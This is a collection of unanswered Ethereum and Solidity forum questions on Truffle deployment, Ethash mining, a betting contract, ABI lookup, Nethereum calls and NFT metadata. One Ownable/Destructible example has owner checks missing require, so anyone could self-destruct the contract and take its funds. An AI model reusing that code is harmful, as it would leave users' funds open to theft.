Anyone know what to do?


texts: Deploying to testnet using Truffle and Metamask

texts:
Is it possible to deploy a smart contract developed using truffle to testnet using just Metamask (without a local eth client instance running)?

I tried importing the private key of metamask wallet to my local geth instance, but the balance still shows zero.

Any pointers on how to deploy a smart contract to testnet?


texts: How can I write sha256 hash to Ethereum blockchain usin Go language

texts: I need to write plain text to Ethereum blockchain. How can I do that using smart contracts and get contract address?


texts: Introductory sources to understand and implement Ethash mining?

texts:
I am looking for a straightforward source of article or scripts like the excellent blog post "Bitcoin mining the hard way" to understand how Ethash proof-of-work works, how DAG generation works, and how the blocks are validated. Something that uses a high level language like Python to explain. I am an avid programmer in Python and knows C++ and knows what a hash function is.
I guess the first goal is to be able to go through the block hashing process with Python using a library like pycryptodome to produce a hash of an existing block, similar to what that block post for Bitcoin mining explained. Then I would like to connect to a Stratum pool in Python and try the mining process; of course, I am not trying to actually mine on CPU in Python and this is only for learning. My end goal is I would like to understand enough the code structure to be able to modify and contribute to ethminer.
I've looked at the official ethash binding which is simply a binding of the underlying C++ code (so still hard to read to get the overview), is no longer maintained, and fails/very hard to compile on Windows.
According to this answer the ethereum module is no long maintained.
This eth-hash Python library that implements keccak256 seems very promising but I still don't know how to use it to hash information in a block, how it relates to DAG, etc.
This script is probably the closest things I found but there is not much commentary to it.
I also know that Trinity exists, but is there a particular part of that that simply demonstrates how Ethashing and mining works?


texts: Comparing contract instance to an address in solidity 0.5.0

texts:
So I've updated solidity to version 0.5.0 and I'm trying to re-write my code. One thing that worked before was comparing contract (represented by its address) to addresses. So now I'm getting the following error:

TypeError: Operator == not compatible with types contract User and address payable

Then I've tried to just add the address field, but the compiler won't allow it. For instance, the following won't compile because it expects ; instead of . :

address a = User.address;

So how do I solve this problem of getting the address field from a contract so the compiler lets me compare those two? Here is the part of the code that won't compile because of that require statement:

mapping(address=>User) public users;

function register(string memory _nome) public {
    require(users[msg.sender]==0x0000000000000000000000000000000000000000);
    users[msg.sender] = new User(_nome,msg.sender);
}


texts:
I have a tiny mining rig running at 17 mhs. What will happen if Ethereum changes to PoS? Will it still be profitable to mine ETHs? Will there be a lot of miners changing to another crypto-currency? And when can we expect PoS to happen?
Thanks for answers!


texts: Delegated POS (DPOS) vs Proof of Stake (POS): Specified Differences

texts: Delegated POS (DPOS) vs Proof of Stake (POS) -- May I know what are the specified Differences?


texts: Backup The Ethereum Wallet Account names

texts:
As you know, the keystore folder stores account keys. So if I want open my accounts(which was created by Linux client) by MacOS client I need just copy the keystore folder. But in this way my specified account names is lost.
Are there any ways migrate the names between the Ethereum Wallet clients?


texts: Remix: Add to "Deployed Contracts" list programmatically (!) via JavaScript

texts:
In Remix, when deploying contracts manually in the "Deploy and run transactions" tab, they show up in the "Deployed Contracts" list.
Remix also comes with the deploy_web3.js script that demonstrates how to deploy in an automated fashion. However, the script merely prints the deployed contract's address and it has to be added manually to the UI's list of deployed contracts using the "At Address" button. This is cumbersome when deploying multiple contracts in one go.
Is there a way to add the newly deployed contract to the list using JavaScript?


texts: Can the term Nakamoto Consensus (NC) be used interchangeably with Proof of Work (PoW)? Which term would the community prefer to use?


texts:
In my contact have multiple imports and successfully deployed my contract.
This is my contract address  0xc2d4d839001f9d985618a22b89155ea8d6550ae6

How can get the abi of my contracts :

pragma solidity ^0.4.18;

import './DeveloperToken.sol';
import 'zeppelin-solidity/contracts/crowdsale/CappedCrowdsale.sol';
import 'zeppelin-solidity/contracts/crowdsale/RefundableCrowdsale.sol';

contract DeveloperCrowdsale is CappedCrowdsale, RefundableCrowdsale {

I tried this :

var compiled = web3.eth.compile.solidity(contractaddress);

var code = compiled.code;
var abi = compiled.info.abiDefinition;

var contract = web3.eth.contract(abi);

But It's not working .
How can I get the abi of my smart contract ?


texts: Logic help needed, how to transfer funds to the address who placed bets on winning team?

texts:
This is a betting application and

right now -> if I place bets on HOME, the amount gets stored but I want to transfer the amount only to the address who placed bets on winning team. I have developed code until getting the winner from oraclize but cant figure out

how to transfer funds to the address who placed bets on winning team

The issue->
How to check who has placed bets on the winning team and transfer funds

Oraclize query gives back the result which is HOME or the winning team but how to track which address placed bets on winning team and transfer funds to the winner

The workflow is like this

1) Solidity function expecting team number as argument which is being provided by the APP.JS file

2) The solidity function accepts the betting amount -> stores it and sends the request to oraclize to check for the winner

3) Oraclize provides callback providing us with the winning team

4) Now I want to transfer the funds only to the address who placed bets on the team which has won

App.js

  var contract = web3.eth.contract(OraclizeContract.abi).at(OraclizeContract.address);

  var team = document.querySelector("#bet #team").value;

  if(team == "Home")
    {
      team = 1;
    }
    else
    {
      team = 2;
    }
    console.log(team)

    contract.deposit.sendTransaction(team, {value: web3.toWei(betAmount, 'ether'), gas: 3000000}
      ,function (error, result){
           if(!error){
               console.log(result);//transaction successful
           } else{
               console.log(error);//transaction failed
           }
         });

Solidity code

  address public homeBet;
  address public awayBet;

    mapping (address => uint256) public amountStore;

    event LogDeposit(address sender, uint amount, string executed);

    function deposit(uint team) public payable returns(bool success) {
        if(team == 1)
        {
        homeBet = msg.sender;
        amountStore[msg.sender] += msg.value;
        emit LogDeposit(msg.sender, msg.value, "Executed deposit HOME");
        oraclize_query("URL", "json(https://api.crowdscores.com/v1/matches/123945?api_key=).outcome.winner");
        return true;
        }
        else if(team == 2)
        {
        awayBet = msg.sender;
        amountStore[msg.sender] += msg.value;
        emit LogDeposit(msg.sender, msg.value, "Executed deposit AWAY");
        oraclize_query("URL", "json(https://api.crowdscores.com/v1/matches/123945?api_key=).outcome.winner");
        return true;
        }
    }

This is the callback i recieve from oraclize
on this callback i get to know the winning team and want to transfer funds

But the transfer is not working as expected
Because i want
1) transfer only to the address who placed the bet on winning team
I cannot figure out how to make it work

function __callback(bytes32 id, string result, bytes proof) public {

    makePayment(result);

 }

    function makePayment(string result) public {

    if (result.toSlice().equals("home".toSlice())) --->> IF HOME HAS WON
    {
       < NEED LOGIC HELP > SEND MONEY TO ADDRESS WHO PLACED BETS ON HOME
    }
    else if(result.toSlice().equals("away".toSlice())) ----->> IF AWAY HAS WON
    {
       < NEED LOGIC HELP > SEND MONEY TO ADDRESS WHO PLACED BETS ON AWAY
    }

}


texts: Why are lending rates on USD based stable coins so different?

texts:
Since DAI is a USD based stable coin along with USDT and USDC, then why are their lending rates so different? In theory, the risks behind owning any of these stable-coins is similar so their lending rates should be similar too, right?
Clearly my thinking has a huge gap somewhere. Can someone please elaborate what am I missing?
For example, here is what I see at the time of writing: https://app.aave.com/borrow (image attached)


texts: Is a contract verified and safe if it's created by a verified contract?

texts:
The contract source code is not verified as you can see in the picture, but the contract was created by another contract code which is verified.

Does that mean that the contract code from the picture is also verified?
Can I trust that token?

EDIT:

Token address: https://etherscan.io/token/0x12b19d3e2ccc14da04fae33e63652ce469b3f2fd

Contract address: https://etherscan.io/address/0x12b19d3e2ccc14da04fae33e63652ce469b3f2fd

Deployer contract: https://etherscan.io/address/0x94dc1cf66c8fd62ef3bd7da53f47423862839823


texts: How can I get a list of transactions of ERC-20 tokens or in USDT from a wallet address?

texts: I am relatively new to this field and I need to track transactions from wallets that are done in USDT / ERC-20 tokens. I need an API for the same. Please excuse me if my term usages are wrong.


texts: Where could I find the program logic of contract in the blockchain of ethereum in Mix?

texts:
I am trying the tutorial scenario of Mix (https://github.com/ethereum/wiki/wiki/Mix:-The-DApp-IDE) for the first time and have a question here.

After I deployed the rating contract, where could I find the program logic on the blocks in the scenario window? and How could I get the native data of blockchain in Mix?
Because I would like to find out how are the data and contracts stored in the blockchain. For example,if I "use" the contract with a value as input, which part would be added in the blockchain? the value itself? or a whole contract with the newly input value? or the ID of contract/transaction with the newly input value?

Thank you.


texts: Solidity ,Member"transfer"Not found or not visible after argument dependent lookup in address

texts:
pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {

 address public owner;

    /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    (msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
   (newOwner != address(0));
    owner = newOwner;
  }

}

/**
 * @title Destructible
 * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
 */
contract Destructible is Ownable {

  function Destructible() payable { }

  /**
   * @dev Transfers the current balance to the owner and terminates the contract.
   */
  function destroy() onlyOwner {
    selfdestruct(owner);
  }

  function destroyAndSend(address _recipient) onlyOwner {
    selfdestruct(_recipient);
  }
}

contract BankAccount is Ownable, Destructible {

  function store() public payable {

  }

  function withdraw(uint amount) public onlyOwner {
      if (this.balance >= amount) {
       msg.sender.transfer(amount);
     }
  }
 }

Error message

browser/Ownable.sol:69:8: Error: Member "transfer" not found or not visible after argument-dependent lookup in address
       msg.sender.transfer(amount);
       ^-----------------^


texts: Truffle Test Issue With `address payable` and Compiler Version

texts:
I am trying to run truffle test on an old contract which was written using pragma solidity 0.4.24;. While I am able to deploy the contracts using truffle migrate, I get the following error when running truffle test:

Using network 'development'.

Compiling your contracts...
===========================
Error: CompileError: Error parsing truffle/DeployedAddresses.sol: ParsedContract.sol:4:55: ParserError: Expected ',' but got 'payable'
  function Marketplace() public pure returns (address payable) { return 0x6395927945EA39aDD6B1E04144f1e1324B30DeFC; }
                                                      ^-----^
Compilation failed. See above.
    at async.whilst.error (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-compile/profiler.js:369:1)
    at /usr/local/lib/node_modules/truffle/build/webpack:/~/async/dist/async.js:969:1
    at next (/usr/local/lib/node_modules/truffle/build/webpack:/~/async/dist/async.js:5222:1)
    at Promise.all.then.results (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-compile/profiler.js:351:1)
    at <anonymous>
Truffle v5.0.7 (core: 5.0.7)
Node v8.12.0

truffle/DeployedAddresses.sol: ParsedContract.sol:4:55 is not code I've written, nor is it part of my project. I suspect this error may be caused because Truffle is running solidity 0.4.24 to compile my contracts but that whatever it uses to execute internal tests is running solidity 0.5. Is there a way to verify/change this?

Here are the contents of truffle.js in the main directory:

module.exports = {
  migrations_directory: "./migrations",
  networks: {
    development: {
      host: "localhost",
      port: 8545,
      network_id: "*" // Match any network id
    },
 // ... Other configs specified here, removed because irrelevant
 // to SO question ...
 compilers: {
  solc: {
    version: "0.4.24",
    }
  },
  solc: {
    optimizer: {
      enabled: true,
      runs: 500
    }
  }
};

and the contents of truffle.js under `/test:

module.exports = {
  // See <http://truffleframework.com/docs/advanced/configuration>
  // for more about customizing your Truffle configuration!
  networks: {
    development: {
      host: "127.0.0.1",
      port: 7545,
      network_id: "*" // Match any network id
    }
  },
  compilers: {
  solc: {
    version: "0.4.24",
    }
  }
};

I have both .sol and .js tests and neither will run (either individually or as part of running all tests with truffle test).


texts:
I was going through new token example given here.
 I have created a below contract:

pragma solidity ^0.4.16;

    contract MyToken {
        /* This creates an array with all balances */
        mapping (address => uint256) public balanceOf;
        function MyToken(uint256 initialSupply) public {
            balanceOf[msg.sender] = 25;
        }

However, whenever I am creating MyToken and check the balanceOf mapping in Remix, I get the output:

0: uint256: 0

Am I doing something wrong? Please help. Thank you.


texts: can sign derived wallet transactions with main's wallet private key of seed phrase?

texts:
I would like to sign a transaction from a wallet which is derived from a seed, and sign it, with it's parent first address and private key derived from the seed, can I sign any tx of any derived wallet address after the first's wallet?

if so, can I do it the same for bitcoin?
 thanks a lot.


texts: How to access contract events through RPC?

texts:
I'm trying to figure out how to log events happening in a contract at a private Ethereum network. It looks like Events are the way to go. However, I can't seem to find any good example of how to interface with contract's Events through JSON RPC.

How can I use contracts Events through JSON RPC?


texts: How to have copies of a NFT with different metadata under the same contract

texts:
I want to mint different copies of a NFT, for the copy with id 0 has the metadata A and the one with the id 1 has the metadata B, and so on, I want these minted copies to be part of the same NFT contract.
Is there a way to do so? All the tutorials I've been reading only show how to mint copies of a single kind of NFT, with its metadata set at contract creation.


texts: How to call a smart contract function using Nethereum and Infura

texts:
I am using Nethereum to call a smart contract function in Ropsten. I am also using Infura.
The function required the contract owner's permission to execute.
This is my code:
var account = new Account(ownerPrivateKey)
var web3 = new Web3(account, $"https://ropsten.infura.io/v3/{infuraId}");
var contract = web3.Eth.GetContract(abi, contractAddress);
var function = contract.GetFunction("myFunction");
var result = await function .CallAsync<dynamic>(address, true);

I got error: Nethereum.JsonRpc.Client.RpcResponseException: execution reverted: Ownable: caller is not the owner.
I think I need to sign the transaction before sending it but I don't know how.
I don't know whether I should use CallAsync or SendTransactionAsync because the function writes data down, not reading anything.
I tried SendTransactionAsync but it doesn't seem to work with Infura.
Anyone have experience with this, please help me. I am new to this.
My contract function:
function myFunction(address account, bool flag) internal {
    _address[account] = flag;
}